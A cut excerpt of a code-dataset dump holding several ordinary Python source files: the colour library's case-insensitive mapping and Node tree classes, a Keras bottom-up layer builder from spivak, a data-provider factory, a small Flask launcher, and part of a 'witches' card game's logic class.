__eq__(self, other: Any) -> bool:\n        \"\"\"\n        Return whether the case-insensitive :class:`dict`-like object is equal\n        to given other object.\n\n        Parameters\n        ----------\n        other\n            Object to test whether it is equal to the case-insensitive\n            :class:`dict`-like object\n\n        Returns\n        -------\n        :class:`bool`\n            Whether given object is equal to the case-insensitive\n            :class:`dict`-like object.\n        \"\"\"\n\n        if isinstance(other, Mapping):\n            other_mapping = CaseInsensitiveMapping(other)\n        else:\n            raise ValueError(\n                f\"Impossible to test equality with \"\n                f'\"{other.__class__.__name__}\" class type!'\n            )\n\n        return dict(self.lower_items()) == dict(other_mapping.lower_items())\n\n    def __ne__(self, other: Any) -> bool:\n        \"\"\"\n        Return whether the case-insensitive :class:`dict`-like object is not\n        equal to given other object.\n\n        Parameters\n        ----------\n        other\n            Object to test whether it is not equal to the case-insensitive\n            :class:`dict`-like object\n\n        Returns\n        -------\n        :class:`bool`\n            Whether given object is not equal to the case-insensitive\n            :class:`dict`-like object.\n        \"\"\"\n\n        return not (self == other)\n\n    @staticmethod\n    def _lower_key(key: Union[str, Any]) -> Union[str, Any]:\n        \"\"\"\n        Return the lower-case variant of given key, if the key cannot be\n        lower-cased, it is passed unmodified.\n\n        Parameters\n        ----------\n        key\n            Key to return the lower-case variant.\n\n        Returns\n        -------\n        :class:`str` or :class:`object`\n            Key lower-case variant.\n        \"\"\"\n\n        try:\n            return key.lower()\n        except AttributeError:\n            return key\n\n    def copy(self) -> CaseInsensitiveMapping:\n        \"\"\"\n        Return a copy of the case-insensitive :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`CaseInsensitiveMapping`\n            Case-insensitive :class:`dict`-like object copy.\n\n        Warnings\n        --------\n        -   The :class:`CaseInsensitiveMapping` class copy returned is a\n            *copy* of the object not a *deepcopy*!\n        \"\"\"\n\n        return CaseInsensitiveMapping(dict(self._data.values()))\n\n    def lower_items(self) -> Generator:\n        \"\"\"\n        Iterate over the lower-case items of the case-insensitive\n        :class:`dict`-like object.\n\n        Yields\n        ------\n        Generator\n            Item generator.\n\n        Notes\n        -----\n        -   The iterated items are the lower-case items.\n        \"\"\"\n\n        return ((item, value[1]) for (item, value) in self._data.items())\n\n\nclass LazyCaseInsensitiveMapping(CaseInsensitiveMapping):\n    \"\"\"\n    Implement a lazy case-insensitive :class:`dict`-like object inheriting\n    from :class:`CaseInsensitiveMapping` class.\n\n    Allows lay values retrieving from keys while ignoring the key case.\n    The keys are expected to be str or :class:`str`-like objects supporting the\n    :meth:`str.lower` method.\n\n    The lazy retrieval is performed as follows: If the value is a callable,\n    then it is evaluated and its return value is stored in place of the current\n    value.\n\n    Parameters\n    ----------\n    data\n        Data to store into the lazy case-insensitive :class:`dict`-like object\n        at initialisation.\n\n    Other Parameters\n    ----------------\n    kwargs\n        Key / value pairs to store into the mapping at initialisation.\n\n    Methods\n    -------\n    -   :meth:`~colour.utilities.LazyCaseInsensitiveMapping.__getitem__`\n\n    Examples\n    --------\n    >>> def callable_a():\n    ...     print(2)\n    ...     return 2\n    >>> methods = LazyCaseInsensitiveMapping(\n    ...     {'McCamy': 1, 'Hernandez': callable_a})\n    >>> methods['mccamy']\n    1\n    >>> methods['hernandez']\n    2\n    2\n    \"\"\"\n\n    def __getitem__(self, item: Union[str, Any]) -> Any:\n        \"\"\"\n        Return the value of given item from the case-insensitive\n        :class:`dict`-like object.\n\n        Parameters\n        ----------\n        item\n            Item to retrieve the value of from the case-insensitive\n            :class:`dict`-like object.\n\n        Returns\n        -------\n        :class:`object`\n            Item value.\n\n        Notes\n        -----\n        -   The item value is retrieved by using its lower-case variant.\n        \"\"\"\n\n        import colour\n\n        value = super().__getitem__(item)\n\n        if callable(value) and hasattr(colour, \"__disable_lazy_load__\"):\n            value = value()\n            super().__setitem__(item, value)\n\n        return value\n\n\nclass Node:\n    \"\"\"\n    Represent a basic node supporting the creation of basic node trees.\n\n    Parameters\n    ----------\n    name\n        Node name.\n    parent\n        Parent of the node.\n    children\n        Children of the node.\n    data\n        The data belonging to this node.\n\n    Attributes\n    ----------\n    -   :attr:`~colour.utilities.Node.name`\n    -   :attr:`~colour.utilities.Node.parent`\n    -   :attr:`~colour.utilities.Node.children`\n    -   :attr:`~colour.utilities.Node.id`\n    -   :attr:`~colour.utilities.Node.root`\n    -   :attr:`~colour.utilities.Node.leaves`\n    -   :attr:`~colour.utilities.Node.siblings`\n    -   :attr:`~colour.utilities.Node.data`\n\n    Methods\n    -------\n    -   :meth:`~colour.utilities.Node.__new__`\n    -   :meth:`~colour.utilities.Node.__init__`\n    -   :meth:`~colour.utilities.Node.__str__`\n    -   :meth:`~colour.utilities.Node.__len__`\n    -   :meth:`~colour.utilities.Node.is_root`\n    -   :meth:`~colour.utilities.Node.is_inner`\n    -   :meth:`~colour.utilities.Node.is_leaf`\n    -   :meth:`~colour.utilities.Node.walk`\n    -   :meth:`~colour.utilities.Node.render`\n\n    Examples\n    --------\n    >>> node_a = Node('Node A')\n    >>> node_b = Node('Node B', node_a)\n    >>> node_c = Node('Node C', node_a)\n    >>> node_d = Node('Node D', node_b)\n    >>> node_e = Node('Node E', node_b)\n    >>> node_f = Node('Node F', node_d)\n    >>> node_g = Node('Node G', node_f)\n    >>> node_h = Node('Node H', node_g)\n    >>> [node.name for node in node_a.leaves]\n    ['Node H', 'Node E', 'Node C']\n    >>> print(node_h.root.name)\n    Node A\n    >>> len(node_a)\n    7\n    \"\"\"\n\n    _INSTANCE_ID: Integer = 1\n    \"\"\"\n    Node id counter.\n\n    _INSTANCE_ID\n    \"\"\"\n\n    def __new__(cls, *args: Any, **kwargs: Any) -> Node:\n        \"\"\"\n        Return a new instance of the :class:`colour.utilities.Node` class.\n\n        Other Parameters\n        ----------------\n        args\n            Arguments.\n        kwargs\n            Keywords arguments.\n        \"\"\"\n\n        instance = super().__new__(cls)\n\n        instance._id = Node._INSTANCE_ID  # type: ignore[attr-defined]\n        Node._INSTANCE_ID += 1\n\n        return instance\n\n    def __init__(\n        self,\n        name: Optional[str] = None,\n        parent: Optional[Node] = None,\n        children: Optional[List[Node]] = None,\n        data: Optional[Any] = None,\n    ):\n        self._name: str = f\"{self.__class__.__name__}#{self.id}\"\n        self.name = self._name if name is None else name\n        self._parent: Optional[Node] = None\n        self.parent = parent\n        self._children: List[Node] = []\n        self.children = self._children if children is None else children\n        self._data: Optional[Any] = data\n\n    @property\n    def name(self) -> str:\n        \"\"\"\n        Getter and setter property for the name.\n\n        Parameters\n        ----------\n        value\n            Value to set the name with.\n\n        Returns\n        -------\n        :class:`str`\n            Node name.\n        \"\"\"\n\n        return self._name\n\n    @name.setter\n    def name(self, value: str):\n        \"\"\"Setter for the **self.name** property.\"\"\"\n\n        attest(\n            isinstance(value, str),\n            f'\"name\" property: \"{value}\" type is not \"str\"!',\n        )\n\n        self._name = value\n\n    @property\n    def parent(self) -> Optional[Node]:\n        \"\"\"\n        Getter and setter property for the node parent.\n\n        Parameters\n        ----------\n        value\n            Parent to set the node with.\n\n        Returns\n        -------\n        :class:`Node` or :py:data:`None`\n            Node parent.\n        \"\"\"\n\n        return self._parent\n\n    @parent.setter\n    def parent(self, value: Optional[Node]):\n        \"\"\"Setter for the **self.parent** property.\"\"\"\n\n        if value is not None:\n            attest(\n                issubclass(value.__class__, Node),\n                f'\"parent\" property: \"{value}\" is not a '\n                f'\"{Node.__class__.__name__}\" subclass!',\n            )\n\n            value.children.append(self)\n\n        self._parent = value\n\n    @property\n    def children(self) -> List[Node]:\n        \"\"\"\n        Getter and setter property for the node children.\n\n        Parameters\n        ----------\n        value\n            Children to set the node with.\n\n        Returns\n        -------\n        :class:`list`\n            Node children.\n        \"\"\"\n\n        return self._children\n\n    @children.setter\n    def children(self, value: List[Node]):\n        \"\"\"Setter for the **self.children** property.\"\"\"\n\n        attest(\n            isinstance(value, list),\n            f'\"children\" property: \"{value}\" type is not a \"list\" instance!',\n        )\n\n        for element in value:\n            attest(\n                issubclass(element.__class__, Node),\n                f'\"children\" property: A \"{element}\" element is not a '\n                f'\"{Node.__class__.__name__}\" subclass!',\n            )\n\n        for node in value:\n            node.parent = self\n\n        self._children = value\n\n    @property\n    def id(self) -> Integer:\n        \"\"\"\n        Getter property for the node id.\n\n        Returns\n        -------\n        :class:`numpy.integer`\n            Node id.\n        \"\"\"\n\n        return self._id  # type: ignore[attr-defined]\n\n    @property\n    def root(self) -> Node:\n        \"\"\"\n        Getter property for the node tree.\n\n        Returns\n        -------\n        :class:`Node`\n            Node root.\n        \"\"\"\n\n        if self.is_root():\n            return self\n        else:\n            return list(self.walk(ascendants=True))[-1]\n\n    @property\n    def leaves(self) -> Generator:\n        \"\"\"\n        Getter property for the node leaves.\n\n        Yields\n        ------\n        Generator\n            Node leaves.\n        \"\"\"\n\n        if self.is_leaf():\n            return (node for node in (self,))\n        else:\n            return (node for node in self.walk() if node.is_leaf())\n\n    @property\n    def siblings(self) -> Generator:\n        \"\"\"\n        Getter property for the node siblings.\n\n        Returns\n        -------\n        Generator\n            Node siblings.\n        \"\"\"\n\n        if self.parent is None:\n            return (sibling for sibling in ())  # type: ignore[var-annotated]\n        else:\n            return (\n                sibling\n                for sibling in self.parent.children\n                if sibling is not self\n            )\n\n    @property\n    def data(self) -> Any:\n        \"\"\"\n        Getter property for the node data.\n\n        Returns\n        -------\n        :class:`object`\n            Node data.\n        \"\"\"\n\n        return self._data\n\n    @data.setter\n    def data(self, value: Any):\n        \"\"\"Setter for the **self.data** property.\"\"\"\n\n        self._data = value\n\n    def __str__(self) -> str:\n        \"\"\"\n        Return a formatted string representation of the node.\n\n        Returns\n        -------\n        :class`str`\n            Formatted string representation.\n        \"\"\"\n\n        return f\"{self.__class__.__name__}#{self.id}({self._data})\"\n\n    def __len__(self) -> Integer:\n        \"\"\"\n        Return the number of children of the node.\n\n        Returns\n        -------\n        :class:`numpy.integer`\n            Number of children of the node.\n        \"\"\"\n\n        return len(list(self.walk()))\n\n    def is_root(self) -> Boolean:\n        \"\"\"\n        Return whether the node is a root node.\n\n        Returns\n        -------\n        :class:`bool`\n            Whether the node is a root node.\n\n        Examples\n        --------\n        >>> node_a = Node('Node A')\n        >>> node_b = Node('Node B', node_a)\n        >>> node_c = Node('Node C', node_b)\n        >>> node_a.is_root()\n        True\n        >>> node_b.is_root()\n        False\n        \"\"\"\n\n        return self.parent is None\n\n    def is_inner(self) -> Boolean:\n        \"\"\"\n        Return whether the node is an inner node.\n\n        Returns\n        -------\n        :class:`bool`\n            Whether the node is an inner node.\n\n        Examples\n        --------\n        >>> node_a = Node('Node A')\n        >>> node_b = Node('Node B', node_a)\n        >>> node_c = Node('Node C', node_b)\n        >>> node_a.is_inner()\n        False\n        >>> node_b.is_inner()\n        True\n        \"\"\"\n\n        return all([not self.is_root(), not self.is_leaf()])\n\n    def is_leaf(self) -> Boolean:\n        \"\"\"\n        Return whether the node is a leaf node.\n\n        Returns\n        -------\n        :class:`bool`\n            Whether the node is a leaf node.\n\n        Examples\n        --------\n        >>> node_a = Node('Node A')\n        >>> node_b = Node('Node B', node_a)\n        >>> node_c = Node('Node C', node_b)\n        >>> node_a.is_leaf()\n        False\n        >>> node_c.is_leaf()\n        True\n        \"\"\"\n\n        return len(self._children) == 0\n\n    def walk(self, ascendants: Boolean = False) -> Generator:\n        \"\"\"\n        Return a generator used to walk into :class:`colour.utilities.Node`\n        trees.\n\n        Parameters\n        ----------\n        ascendants\n            Whether to walk up the node tree.\n\n        Yields\n        ------\n        Generator\n            Node tree walker.\n\n        Examples\n        --------\n        >>> node_a = Node('Node A')\n        >>> node_b = Node('Node B', node_a)\n        >>> node_c = Node('Node C', node_a)\n        >>> node_d = Node('Node D', node_b)\n        >>> node_e = Node('Node E', node_b)\n        >>> node_f = Node('Node F', node_d)\n        >>> node_g = Node('Node G', node_f)\n        >>> node_h = Node('Node H', node_g)\n        >>> for node in node_a.walk():\n        ...     print(node.name)\n        Node B\n        Node D\n        Node F\n        Node G\n        Node H\n        Node E\n        Node C\n        \"\"\"\n\n        attribute = \"children\" if not ascendants else \"parent\"\n\n        nodes = getattr(self, attribute)\n        nodes = nodes if isinstance(nodes, list) else [nodes]\n\n        for node in nodes:\n            yield node\n\n            if not getattr(node, attribute):\n                continue\n\n            yield from node.walk(ascendants=ascendants)\n\n    def render(self, tab_level: Integer = 0):\n        \"\"\"\n        Render the current node and its children as a string.\n\n        Parameters\n        ----------\n        tab_level\n            Initial indentation level\n\n        Returns\n        -------\n        :class:`str`\n            Rendered node tree.\n\n        Examples\n        --------\n        >>> node_a = Node('Node A')\n        >>> node_b = Node('Node B', node_a)\n        >>> node_c = Node('Node C', node_a)\n        >>> print(node_a.render())\n        |----\"Node A\"\n            |----\"Node B\"\n            |----\"Node C\"\n        <BLANKLINE>\n        \"\"\"\n\n        output = \"\"\n\n        for _i in range(tab_level):\n            output += \"    \"\n\n        tab_level += 1\n\n        output += f'|----\"{self.name}\"\\n'\n\n        for child in self._children:\n            output += child.render(tab_level)\n\n        tab_level -= 1\n\n        return output\n","repo_name":"chippey/colour","sub_path":"colour/utilities/data_structures.py","file_name":"data_structures.py","file_ext":"py","file_size_in_byte":27833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"19656952623","text":"from abc import ABCMeta, abstractmethod\nfrom typing import List\n\nfrom tensorflow import Tensor\nfrom tensorflow.keras.layers import MaxPooling2D, AveragePooling2D\n\nfrom spivak.models.assembly.convolution_stacks import StridedBlockInterface, \\\n    ConvolutionStackInterface\n\nPOOLING_MAX = \"max\"\nPOOLING_AVERAGE = \"average\"\n\n\nclass BottomUpStackInterface(metaclass=ABCMeta):\n\n    @abstractmethod\n    def downsample_and_convolve(\n            self, bottom_up: Tensor, num_filters_in: int, num_filters_out: int,\n            layer_index: int) -> Tensor:\n        pass\n\n    @abstractmethod\n    def convolve(\n            self, bottom_up: Tensor, num_filters: int,\n            layer_index: int) -> Tensor:\n        pass\n\n\nclass BottomUpLayer:\n\n    def __init__(self, tensor: Tensor, num_channels: int) -> None:\n        self.tensor = tensor\n        self.num_channels = num_channels\n\n\nclass PoolingBottomUpStack(BottomUpStackInterface):\n\n    def __init__(\n            self, pooling: str,\n            convolution_stack: ConvolutionStackInterface) -> None:\n        self._pooling = pooling\n        self._convolution_stack = convolution_stack\n        self._name = \"bu\"\n\n    def convolve(\n            self, bottom_up: Tensor, num_filters: int,\n            layer_index: int) -> Tensor:\n        return self._convolution_stack.convolve(\n            bottom_up, num_filters, layer_index, self._name)\n\n    def downsample_and_convolve(\n            self, bottom_up: Tensor, num_filters_in: int, num_filters_out: int,\n            layer_index: int) -> Tensor:\n        if self._pooling == POOLING_MAX:\n            pooling = MaxPooling2D(\n                (2, 1), name=f\"{self._name}_layer{layer_index}_max_pooling\")\n        elif self._pooling == POOLING_AVERAGE:\n            pooling = AveragePooling2D(\n                (2, 1), name=f\"{self._name}_layer{layer_index}_average_pooling\")\n        else:\n            raise ValueError(f\"Unrecognized pooling: {self._pooling}\")\n        pooled = pooling(bottom_up)\n        return self._convolution_stack.convolve(\n            pooled, num_filters_out, layer_index, self._name)\n\n\nclass StridedBottomUpStack(BottomUpStackInterface):\n\n    def __init__(\n            self, strided_block: StridedBlockInterface,\n            layer_num_blocks: List[int], strided_reduction: bool) -> None:\n        self._strided_block = strided_block\n        self._layer_num_blocks = layer_num_blocks\n        self._strided_reduction = strided_reduction\n        self._name = \"bu\"\n\n    def convolve(\n            self, bottom_up: Tensor, num_filters: int,\n            layer_index: int) -> Tensor:\n        for block_index in range(self._layer_num_blocks[layer_index]):\n            bottom_up = self._strided_block.convolve(\n                bottom_up, num_filters,\n                name=f\"{self._name}_layer{layer_index}_block{block_index}\")\n        return bottom_up\n\n    def downsample_and_convolve(\n            self, bottom_up: Tensor, num_filters_in: int, num_filters_out: int,\n            layer_index: int) -> Tensor:\n        num_blocks_in_layer = self._layer_num_blocks[layer_index]\n        if self._strided_reduction or num_blocks_in_layer < 2:\n            stride_filters = num_filters_out\n        else:\n            stride_filters = num_filters_in\n        bottom_up = self._strided_block.strided_convolve(\n            bottom_up, stride_filters,\n            name=f\"{self._name}_layer{layer_index}_block0\")\n        for block_index in range(1, num_blocks_in_layer):\n            bottom_up = self._strided_block.convolve(\n                bottom_up, num_filters_out,\n                name=f\"{self._name}_layer{layer_index}_block{block_index}\")\n        return bottom_up\n\n\ndef create_bottom_up_layers(\n        input_mlp_out: Tensor, num_layers: int, base_num_filters: int,\n        max_num_filters: int, bottom_up_stack: BottomUpStackInterface\n) -> List[BottomUpLayer]:\n    # VGG-16 applied dropout of 0.5 to their last two layers. U-net paper did\n    # something similar, only applying dropout at the end of their bottom-up\n    # layers.\n    # https://arxiv.org/pdf/1409.1556.pdf\n    # https://arxiv.org/pdf/1505.04597.pdf\n    bottom_up_layers = []\n    # Start with just a convolution stack and add that to the layers.\n    num_filters_out = min(max_num_filters, base_num_filters)\n    x = bottom_up_stack.convolve(input_mlp_out, num_filters_out, 0)\n    bottom_up_layers.append(BottomUpLayer(x, num_filters_out))\n    # Now, for each layer, add a stack that downsamples then convolves.\n    for layer_index in range(1, num_layers):\n        num_filters_in = num_filters_out\n        num_filters_out = min(\n            max_num_filters, 2 ** layer_index * base_num_filters)\n        x = bottom_up_stack.downsample_and_convolve(\n            x, num_filters_in, num_filters_out, layer_index)\n        bottom_up_layers.append(BottomUpLayer(x, num_filters_out))\n    return bottom_up_layers\n","repo_name":"yahoo/spivak","sub_path":"spivak/models/assembly/bottom_up.py","file_name":"bottom_up.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"38"}
{"seq_id":"72687845232","text":"from data_providers.base_data_provider import BaseDataProvider\nfrom data_providers.duke_data_provider import DukeDataProvider\n\n__all_data_providers__ = [\n    \"BaseDataProvider\",\n    \"DukeDataProvider\"\n]\n\n\ndef make_data_provider(config):\n    name = config[\"name\"] if type(config) is dict else config.name\n    if name in __all_data_providers__:\n        return globals()[name](config)\n    else:\n        raise Exception('The data provider name %s does not exist' % name)\n\n","repo_name":"maksay/seq-train","sub_path":"data_providers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"}
{"seq_id":"70913315311","text":"import os\nfrom os import environ, write\n\nfrom app import app\n\nRED   = \"\\033[1;31m\"\nCYAN  = \"\\033[1;36m\"\nGREEN = \"\\033[0;32m\"\nRESET = \"\\033[0;0m\"\nBOLD  = \"\\033[;1m\"\n\nif environ.get('ENV') == 'PROD': print(f'{BOLD}{RED}USING PROD{RESET}')\nelif environ.get('ENV') == 'LOCAL': print(f'{GREEN}using local{RESET}')\nelif environ.get('ENV') == 'TESTING': print(f'{GREEN}Using Testing{RESET}')\nelse: print(f'{CYAN}using staging{RESET}')\n\nPORT = int(os.getenv('PORT', '5000'))\napp.run(host='0.0.0.0', port=PORT, debug=True, threaded=True)\n","repo_name":"Awesome94/bank-API","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"69922967150","text":"# quick fix to work in gameLogicTests and for environment tests\ntry:\n    from .gameClasses import game\nexcept:\n    from gameClasses import game\n\nimport numpy as np\n\nclass witches(game):\n    def __init__(self, options_dict):\n        super().__init__(options_dict)\n\n        # Specific for witches:\n        self.shifted_cards     = 0 # counts\n        self.nu_shift_cards    = options_dict[\"nu_shift_cards\"] # shift 2 cards!  # set to 0 to disable\n        self.shifting_phase    = True\n        self.shift_option      = 2 # due to gym reset=2 [\"left\", \"right\", \"opposide\"]\n        self.correct_moves     = 0 # is not used or?!\n        super().setup_game()       # is required here already for gym to work!\n\n    def reset(self):\n        self.nu_games_played +=1\n        self.shifted_cards  = 0\n\n        if self.shift_option <2:\n            self.shift_option += 1\n        else:\n            self.shift_option  = 0\n        if self.nu_shift_cards>0:\n            self.shifting_phase    = True\n        else:\n            self.shifting_phase    = False\n        self.players           = []  # stores players object\n        self.on_table_cards    = []  # stores card on the table\n        self.played_cards      = []  # of one game # see also in players offhand!\n        self.gameOver          = 0\n        self.rewards           = np.zeros((self.nu_players,))\n        self.current_round     = 0\n        super().setup_game()\n        self.active_player     = self.nextGamePlayer()\n        self.correct_moves     = 0\n\n\n    def play_ai_move(self, ai_card_idx, print_=False):\n        'card idx from 0....'\n        current_player    =  self.active_player\n        card_options__    = self.getValidOptions(current_player)# cards\n        card              = self.idx2Card(ai_card_idx)\n        player_has_card   = self.players[current_player].hasSpecificCardOnHand(ai_card_idx)\n        tmp               = card.idx\n        card_options      = self.cards2Idx(card_options__)\n        if player_has_card and tmp in card_options and \"RL\" in self.player_types[current_player]:\n            if print_:\n                if self.shifting_phase and self.nu_shift_cards>0:\n                    print(\"[{}] {} {}\\t shifts {}\\tCard {}\\tCard Index {}\\t len {}\".format(self.current_round, current_player, self.player_names[current_player], self.player_types[current_player], card, ai_card_idx, len(self.players[current_player].hand)))\n                else:\n                    print(\"[{}] {} {}\\t plays {}\\tCard {}\\tCard Index {}\\t len {}  options {} on table\".format(self.current_round, current_player, self.player_names[current_player], self.player_types[current_player], card, ai_card_idx, len(self.players[current_player].hand), card_options__), self.on_table_cards)\n            self.correct_moves +=1\n            rewards, round_finished, gameOver = self.step(self.idx2Hand(tmp, current_player), print_)\n            if print_ and round_finished:\n                print(rewards, self.correct_moves, gameOver, \"\\n\")\n            return rewards, round_finished, gameOver\n        else:\n            if print_:\n                if not player_has_card:\n                    print(\"Caution player does not have card:\", card, \" choose one of:\", self.idxList2Cards(card_options))\n                if not tmp in card_options:\n                    print(\"Caution option idx\", tmp, \"not in (idx)\", card_options)\n                if not \"RL\" in self.player_types[current_player]:\n                    print(\"Caution\", self.player_types[current_player], self.active_player, \"is not of type RL\", self.player_types)\n            return {\"state\": \"play_or_shift\", \"ai_reward\": None}, False, True # rewards round_finished, game_over\n\n    def playUntilAI(self, print_=False):\n        rewards        = {\"state\": \"play_or_shift\", \"ai_reward\": None}\n        gameOver       = False\n        round_finished = False\n        while len(self.players[self.active_player].hand) > 0:\n            current_player = self.active_player\n            if \"RANDOM\" in self.player_types[current_player]:\n                if  self.shifting_phase and self.nu_shift_cards>0:\n                    hand_idx_action = self.getRandomCard()\n                    card            = self.players[current_player].hand[hand_idx_action]\n                    if print_:\n                        print(\"[{}] {} {}\\t shifts {}\\tCard {}\\tHand Index {}\\t len {}\".format(self.current_round, current_player, self.player_names[current_player], self.player_types[current_player], card, hand_idx_action, len(self.players[current_player].hand)))\n                else:\n                    card            = self.getRandomValidOption()\n                    hand_idx_action = self.players[self.active_player].hand.index(card)\n                    if print_:\n                        print(\"[{}] {} {}\\t plays {}\\tCard {}\\tHand Index {}\\t len {}\".format(self.current_round, current_player, self.player_names[current_player], self.player_types[current_player], card, hand_idx_action, len(self.players[current_player].hand)))\n                rewards, round_finished, gameOver = self.step(hand_idx_action, print_)\n                if print_ and round_finished:\n                    print(\"\")\n            else:\n                return rewards, round_finished, gameOver\n        # Game is over!\n        #CAUTION IF GAME OVER NO REWARDS ARE RETURNED\n        #rewards = {'state': 'play_or_shift', 'ai_reward': None}\n        return rewards, True, True\n\n\n\n    def stepRandomPlay(self, action_ai, print_=False):\n        # fängt denn ai überhaupt an???\n        # teste ob correct_moves korrekt hochgezählt werden?!\n        rewards, round_finished, gameOver = self.play_ai_move(action_ai, print_=print_)\n        if rewards[\"ai_reward\"] is None: # illegal move\n            return None, self.correct_moves, True\n        elif gameOver and \"final_rewards\" in rewards:\n            # case that ai plays last card:\n            mean_random = (sum(rewards[\"final_rewards\"])- rewards[\"final_rewards\"][1])/3\n            return [rewards[\"final_rewards\"][1], mean_random], self.correct_moves, gameOver\n        else:\n            #case that random player plays last card:\n            if \"RL\" in self.player_types[self.active_player]:\n                return [0, 0], self.correct_moves, gameOver\n            else:\n                rewards, round_finished, gameOver = self.playUntilAI(print_=print_)\n                ai_reward   = 0\n                mean_random = 0\n                if gameOver and \"final_rewards\" in rewards:\n                    mean_random = (sum(rewards[\"final_rewards\"])- rewards[\"final_rewards\"][1])/3\n                    ai_reward = rewards[\"final_rewards\"][1]\n                return [ai_reward, mean_random], self.correct_moves, gameOver\n\n    def getInColor(self):\n        # returns the leading color of the on_table_cards\n        # if only joker are played None is returned\n        for i, card in enumerate(self.on_table_cards):\n            if card is not None:\n                if card.value <15:\n                    return card.color\n        return None\n\n    def evaluateWinner(self):\n        #uses on_table_cards to evaluate the winner of one round\n        #returns winning card\n        #player_win_idx: player that one this game! (0-3)\n        #on_table_win_idx: player in sequence that one!\n        highest_value    = 0\n        winning_card     = self.on_table_cards[0]\n        incolor          = self.getInColor()\n        on_table_win_idx = 0\n        if  incolor is not None:\n            for i, card in enumerate(self.on_table_cards):\n                # Note 15 is a Jocker\n                if card is not None and ( card.value > highest_value and card.color == incolor and card.value<15):\n                    highest_value = card.value\n                    winning_card = card\n                    on_table_win_idx = i\n        player_win_idx = self.player_names.index(winning_card.player)\n        return winning_card, on_table_win_idx, player_win_idx\n\n    def getState(self):\n        play_options = self.getBinaryOptions(self.active_player, self.nu_players, self.nu_cards)\n        #play_options = self.convertAvailableActions(play_options)\n        on_table, on_hand, played = self.getmyState(self.active_player, self.nu_players, self.nu_cards)\n        add_states = [] #(nu_players-1)*5\n        for i in range(len(self.players)):\n            if i!=self.active_player:\n                add_states.extend(self.getAdditionalState(i))\n        return np.asarray([on_table+ on_hand+ played+ play_options+ add_states])\n\n    def getValidOptions(self, player):\n        # returns card of valid options\n        if self.shifting_phase and self.nu_shift_cards>0:\n            options = [x for x in range(len(self.players[player].hand))] # hand index\n        else:\n            options = self.getOptions(self.getInColor(), player) # hand index\n        # return as cards\n        return [self.players[player].hand[i] for i in options]\n\n    def convertTakeHand(self, player, take_hand):\n        converted_cards = []\n        for card in take_hand:\n            card.player = player.name\n            converted_cards.append(card)\n        return converted_cards\n\n    def step(self, card_idx, print_=False):\n        #Note that card_idx is a Hand Card IDX!\n        # it is not card.idx unique number!\n        self.shifting_phase = (self.shifted_cards<=self.nu_players*self.nu_shift_cards)\n        if self.shifting_phase and self.nu_shift_cards>0:\n            shift_round   = int(self.shifted_cards/self.nu_players)\n            self.shiftCard(card_idx, self.active_player, self.getShiftPlayer())\n            self.shifted_cards +=1\n\n            round_finished = False\n            if self.shifted_cards%self.nu_players == 0:\n                round_finished = True\n            #if print_: print(\"Shift Round:\", shift_round, \"Shifted Cards:\", self.shifted_cards, \"round_finished\", round_finished)\n            if shift_round == (self.nu_shift_cards)-1 and round_finished:\n                if print_: print(\"\\nShifting PHASE FINISHED!!!!!!\\n\")\n                for player in self.players:\n                    # convert cards of take hand card.player to correct player!\n                    player.take_hand = self.convertTakeHand(player, player.take_hand)\n                    player.hand.extend(player.take_hand)\n                    if print_: print(player.name, \"takes now\", player.take_hand, \" all cards\", player.hand)\n                self.shifted_cards  = 100\n                self.shifting_phase = False\n            self.active_player = self.getNextPlayer()\n            return {\"state\": \"shift\", \"ai_reward\": 0}, round_finished, False # rewards, round_finished, gameOver\n        else:\n            # in case card_idx is a simple int value\n            round_finished = False\n            # play the card_idx:\n            played_card = self.players[self.active_player].hand.pop(card_idx)\n            self.on_table_cards.append(played_card)\n            # Case round finished:\n            trick_rewards    = [0]*self.nu_players\n            on_table_win_idx = -1\n            player_win_idx   = -1\n            if len(self.on_table_cards) == self.nu_players:\n                winning_card, on_table_win_idx, player_win_idx = self.evaluateWinner()\n                trick_rewards[player_win_idx] = self.countResult([self.on_table_cards], self.players[player_win_idx].offhand)\n                self.current_round +=1\n                self.played_cards.extend(self.on_table_cards)\n                self.players[player_win_idx].appendCards(self.on_table_cards)\n                self.on_table_cards = []\n                self.active_player  = player_win_idx\n                round_finished = True\n\n            else:\n                self.active_player = self.getNextPlayer()\n\n            if round_finished and len(self.played_cards) == self.nu_cards*self.nu_players:\n                self.assignRewards()\n            if self.isGameFinished():\n                self.assignRewards()\n                for i in range(len(self.total_rewards)):\n                    self.total_rewards[i] +=self.rewards[i]\n    \t\t#yes this is the correct ai reward in case all players are ai players.\n            return {\"state\": \"play\", \"ai_reward\": trick_rewards[player_win_idx], \"on_table_win_idx\": on_table_win_idx, \"trick_rewards\": trick_rewards, \"player_win_idx\": player_win_idx, \"final_rewards\": self.rewards}, round_finished, self.isGameFinished()\n\n    def getAdditionalState(self, playeridx):\n        # result = [would win, bgry color free]\n        result = []\n        player = self.players[playeridx]\n\n        #extend if this player would win the current cards\n        player_win_idx = playeridx\n        if len(self.on_table_cards)>0:\n            winning_card, on_table_win_idx, player_win_idx = self.evaluateWinner()\n        if player_win_idx == playeridx:\n            result.extend([1])\n        else:\n            result.extend([0])\n        result.extend(player.colorFree) # 4 per player -> 12 states\n        return result\n\n    def getmyState(self, playeridx, players, cards):\n        # should be 60 here in case of error!\n        on_table, on_hand, played =[0]*players* cards, [0]*players* cards, [0]*players* cards\n        for card in self.on_table_cards:\n            on_table[card.idx]= 1\n\n        for card in self.players[playeridx].hand:\n            on_hand[card.idx] =1\n\n        for card in self.played_cards:\n            played[card.idx] = 1\n        return on_table, on_hand, played\n\n    def getOptions(self, incolor, player, orderOptions=False):\n        # incolor = None -> Narr was played played before\n        # incolor = None -> You can start!\n        # Return Hand index\n\n        cards        = self.players[player].hand\n\n        options = []\n        hasColor = False\n        if incolor is None:\n            for i, card in enumerate(cards):\n                options.append(i)\n        else:\n            for i, card in enumerate(cards):\n                if card.color == incolor and card.value <15:\n                    options.append(i)\n                    hasColor = True\n                if card.value == 15: # append all joker\n                    options.append(i)\n\n        # if has not color and no joker append all cards!\n        # wenn man also eine Farbe aus 